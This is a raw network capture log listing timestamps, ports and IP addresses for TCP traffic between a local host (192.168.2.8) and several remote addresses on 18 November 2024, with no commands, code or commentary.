Nov 18, 2024 13:29:26.079266071 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.079320908 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.079447985 CET	49768	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.079550982 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.079577923 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.079687119 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.079752922 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.079761028 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.080236912 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.080255032 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.080358028 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.080372095 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.115408897 CET	443	49766	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.119334936 CET	443	49769	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.119347095 CET	443	49767	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.123354912 CET	443	49768	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.439373970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:26.439431906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:26.493918896 CET	443	49767	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.493994951 CET	49767	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.495925903 CET	443	49766	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.495990038 CET	49766	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.507276058 CET	443	49768	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.507337093 CET	49768	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.680721998 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.681169033 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.681188107 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.682225943 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.682295084 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.683367968 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.683449030 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.683552027 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.683562040 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.684257030 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.684422970 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.684813023 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.684823036 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.684992075 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.684998035 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.685870886 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.685939074 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.686039925 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.686094046 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.686914921 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.686991930 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.687249899 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.687257051 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.687654018 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.687686920 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.687946081 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.688848972 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.688905001 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.689142942 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.689148903 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.689496994 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.689518929 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.716243982 CET	443	49769	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.716325998 CET	49769	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.810703993 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.810739994 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.810811043 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.811044931 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.811069965 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.814874887 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.814937115 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.815119982 CET	49771	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:26.815141916 CET	443	49771	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:26.815689087 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.815762043 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.816085100 CET	49776	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.816096067 CET	443	49776	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.819195032 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.819250107 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.819448948 CET	49772	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:26.819456100 CET	443	49772	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:26.819529057 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.819787025 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.819802999 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.820863008 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.820967913 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.821921110 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.822009087 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.822078943 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.863337040 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:26.913250923 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:26.913270950 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.003603935 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.003639936 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.003875971 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.005328894 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.005376101 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.005430937 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.005951881 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.005980015 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.006136894 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.006165981 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.071880102 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.074378967 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074389935 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074418068 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074424028 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074434996 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074526072 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.074526072 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.074549913 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074559927 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.074664116 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.075298071 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.075320005 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.076457024 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.076472998 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.076499939 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.076513052 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.135093927 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.135128975 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.135227919 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.139986038 CET	49781	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.140002966 CET	443	49781	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.193186045 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.193192959 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.193233967 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.193242073 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.193293095 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.193295002 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.193295956 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.193500042 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.193500042 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.232856989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.238135099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.272188902 CET	49782	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.272233963 CET	443	49782	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.272356987 CET	49782	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.272489071 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.272550106 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.272625923 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.272772074 CET	49782	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.272787094 CET	443	49782	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.272919893 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.272941113 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.302766085 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.303112030 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.303121090 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.303479910 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.303879976 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.303950071 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.304183006 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.311990976 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.312001944 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.312063932 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.312072992 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.312088013 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.312105894 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.312134027 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.312150955 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.351334095 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.423942089 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.424434900 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.424447060 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.424822092 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.426704884 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.426815033 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.426889896 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.430785894 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.430815935 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.430833101 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.430875063 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.430896044 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.430896044 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.430917978 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.431013107 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.433460951 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.433653116 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.433815956 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.439958096 CET	49777	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.439984083 CET	443	49777	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.452769995 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.452791929 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.452888012 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.452900887 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.452924013 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.452966928 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.453195095 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.453202963 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.453229904 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.453378916 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.453408957 CET	443	49770	40.126.31.69	192.168.2.8
Nov 18, 2024 13:29:27.453532934 CET	49770	443	192.168.2.8	40.126.31.69
Nov 18, 2024 13:29:27.467211008 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.467220068 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.512748957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512788057 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512799978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512851954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.512867928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512877941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.512878895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512892008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512902021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.512908936 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512917995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.512919903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.512937069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.512959003 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.513201952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.513216019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.513259888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.513259888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.513286114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.513343096 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.513375998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.513416052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.517944098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.517963886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.518001080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.518017054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.518078089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.518126965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.549576998 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.549599886 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.549645901 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.549655914 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.549695015 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.549720049 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.555841923 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.555917978 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.555963039 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.556487083 CET	49778	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.556499958 CET	443	49778	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.613260031 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.613553047 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.613560915 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.613919973 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.613961935 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.614449978 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.614516973 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.614896059 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.614907026 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.615453005 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.615736008 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.615833998 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:27.667686939 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.667710066 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.667792082 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.667793036 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.667803049 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.667867899 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.668787956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.668845892 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.668879986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.668893099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.668925047 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.668937922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669039011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669080019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669099092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669111967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669126034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669157028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669182062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669189930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669234037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669573069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669621944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669869900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669883013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669934988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.669938087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669950008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.669986963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.690906048 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:27.690937042 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:27.691005945 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:27.691203117 CET	49784	443	192.168.2.8	13.107.246.57
Nov 18, 2024 13:29:27.691214085 CET	443	49784	13.107.246.57	192.168.2.8
Nov 18, 2024 13:29:27.702081919 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.702121973 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:27.743192911 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:27.743238926 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:27.743309021 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:27.743510008 CET	49785	443	192.168.2.8	20.25.227.174
Nov 18, 2024 13:29:27.743522882 CET	443	49785	20.25.227.174	192.168.2.8
Nov 18, 2024 13:29:27.786509991 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.786531925 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.786621094 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.786628008 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.786634922 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.786807060 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.786876917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.786891937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.786936998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.786983013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.787431002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787448883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787461996 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787477970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787486076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787486076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.787496090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787544012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.787830114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787842989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787863970 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.787877083 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.787894964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.787918091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.788181067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.788194895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.788233995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.788252115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.824923992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.824939966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.825005054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.825042963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.872057915 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.872082949 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.872211933 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.872226954 CET	443	49775	13.107.246.45	192.168.2.8
Nov 18, 2024 13:29:27.872343063 CET	49775	443	192.168.2.8	13.107.246.45
Nov 18, 2024 13:29:27.877214909 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.877862930 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.877902985 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.878966093 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.879034042 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.879709005 CET	49783	443	192.168.2.8	162.159.61.3
Nov 18, 2024 13:29:27.879784107 CET	443	49783	162.159.61.3	192.168.2.8
Nov 18, 2024 13:29:27.908737898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908755064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908768892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908781052 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908802986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908816099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908828974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908833981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.908838987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908849955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908852100 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.908862114 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908874035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:27.908885002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:27.908886909 CET	80	49746	185.215.113.206	192.168.2.8
